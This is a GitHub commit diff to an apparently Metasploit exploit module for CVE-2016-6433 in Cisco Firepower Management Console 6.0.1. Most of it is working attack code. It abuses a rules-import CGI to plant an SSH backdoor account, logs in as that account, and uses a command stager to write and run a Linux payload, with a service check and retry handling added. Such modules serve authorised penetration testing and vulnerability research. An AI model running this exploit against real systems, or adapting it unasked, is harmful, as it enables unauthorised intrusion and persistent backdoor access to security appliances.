Skip to content

Commit 74cea5d

Browse files
committed
Use Linux payloads instead of cmd/unix/interact
As of now, cmd/unix/interact causes msfconsole to freeze, so we can't use this.
1 parent e331066 commit 74cea5d

File tree

1 file changed

+74
-34
lines changed

1 file changed

+74
-34
lines changed

modules/exploits/linux/http/cisco_firepower_useradd.rb

Lines changed: 74 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -4,13 +4,12 @@
44
##
55

66
require 'msf/core'
7-
require 'net/ssh/command_stream'
87

98
class MetasploitModule < Msf::Exploit::Remote
109
Rank = ExcellentRanking
1110

1211
include Msf::Exploit::Remote::HttpClient
13-
include Msf::Auxiliary::CommandShell
12+
include Msf::Exploit::CmdStager
1413
include Msf::Exploit::Remote::SSH
1514

1615
def initialize(info={})
@@ -33,21 +32,15 @@ def initialize(info={})
3332
[ 'CVE', '2016-6433' ],
3433
[ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ]
3534
],
36-
'Platform' => 'unix',
37-
'Arch' => ARCH_CMD,
35+
'Platform' => 'linux',
36+
'Arch' => ARCH_X86,
3837
'Targets' =>
3938
[
4039
[ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ]
4140
],
4241
'Privileged' => false,
4342
'DisclosureDate' => 'Oct 10 2016',
44-
'Payload' =>
45-
{
46-
'Compat' => {
47-
'PayloadType' => 'cmd_interact',
48-
'ConnectionType' => 'find'
49-
}
50-
},
43+
'CmdStagerFlavor'=> %w{ echo },
5144
'DefaultOptions' =>
5245
{
5346
'SSL' => 'true',
@@ -69,6 +62,40 @@ def initialize(info={})
6962
end
7063

7164
def check
65+
# For this exploit to work, we need to check two services:
66+
# * HTTP - To create the backdoor account for SSH
67+
# * SSH - To execute our payload
68+
69+
vprint_status('Checking Cisco Firepower Management console...')
70+
res = send_request_cgi({
71+
'method' => 'GET',
72+
'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213')
73+
})
74+
75+
if res && res.code == 200
76+
vprint_status("Console is found.")
77+
vprint_status("Checking SSH service.")
78+
begin
79+
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
80+
Net::SSH.start(rhost, 'admin',
81+
port: datastore['SSHPORT'],
82+
password: Rex::Text.rand_text_alpha(5),
83+
auth_methods: ['password'],
84+
non_interactive: true
85+
)
86+
end
87+
rescue Timeout::Error
88+
vprint_error('The SSH connection timed out.')
89+
return Exploit::CheckCode::Unknown
90+
rescue Net::SSH::AuthenticationFailed
91+
# Hey, it talked. So that means SSH is running.
92+
return Exploit::CheckCode::Appears
93+
rescue Net::SSH::Exception => e
94+
vprint_error(e.message)
95+
end
96+
end
97+
98+
Exploit::CheckCode::Safe
7299
end
73100

74101
def get_sf_action_id(sid)
@@ -99,7 +126,7 @@ def get_sf_action_id(sid)
99126
def create_ssh_backdoor(sid, user, pass)
100127
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
101128
sf_action_id = get_sf_action_id(sid)
102-
sh_name = "#{Rex::Text.rand_text_alpha(6)}.sh"
129+
sh_name = 'exploit.sh'
103130

104131
print_status("Attempting to create an SSH backdoor as #{user}:#{pass}")
105132

@@ -193,7 +220,32 @@ def do_login
193220
nil
194221
end
195222

196-
def get_ssh_session(user, pass)
223+
def execute_command(cmd, opts = {})
224+
@first_exec = true
225+
cmd.gsub!(/\/tmp/, '/usr/tmp')
226+
227+
# Weird hack for the cmd stager.
228+
# Because it keeps using > to write the payload.
229+
if @first_exec
230+
@first_exec = false
231+
else
232+
cmd.gsub!(/>>/, ' > ')
233+
end
234+
235+
begin
236+
Timeout.timeout(3) do
237+
@ssh_socket.exec!("#{cmd}\n")
238+
vprint_status("Executing #{cmd}")
239+
end
240+
rescue Timeout::Error
241+
fail_with(Failure::Unknown, 'SSH command timed out')
242+
rescue Net::SSH::ChannelOpenFailed
243+
print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)')
244+
retry
245+
end
246+
end
247+
248+
def init_ssh_session(user, pass)
197249
print_status("Attempting to log into SSH as #{user}:#{pass}")
198250

199251
factory = ssh_socket_factory
@@ -212,28 +264,10 @@ def get_ssh_session(user, pass)
212264
begin
213265
ssh = nil
214266
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
215-
ssh = Net::SSH.start(rhost, user, opts)
267+
@ssh_socket = Net::SSH.start(rhost, user, opts)
216268
end
217-
rescue Rex::ConnectionError
218-
return
219-
rescue Net::SSH::Disconnect, ::EOFError => e
220-
print_error "SSH - #{e.message}"
221-
return
222-
rescue ::Timeout::Error
223-
print_error "SSH - Timed out during negotiation"
224-
return
225-
rescue Net::SSH::AuthenticationFailed
226-
print_error "SSH - Failed authentication"
227269
rescue Net::SSH::Exception => e
228-
elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}")
229-
print_error "SSH Error: #{e.class} : #{e.message}"
230-
return
231-
end
232-
233-
if ssh
234-
conn = ::Net::SSH::CommandStream.new(ssh, '/bin/bash', true)
235-
ssh = nil
236-
handler(conn.lsock)
270+
fail_with(Failure::Unknown, e.message)
237271
end
238272
end
239273

@@ -248,7 +282,13 @@ def exploit
248282
create_ssh_backdoor(sid, new_user, new_pass)
249283

250284
# Log into the SSH backdoor account
251-
get_ssh_session(new_user, new_pass)
285+
init_ssh_session(new_user, new_pass)
286+
287+
begin
288+
execute_cmdstager({:linemax => 500})
289+
ensure
290+
@ssh_socket.close
291+
end
252292
end
253293

254294
end

0 commit comments

Comments
 (0)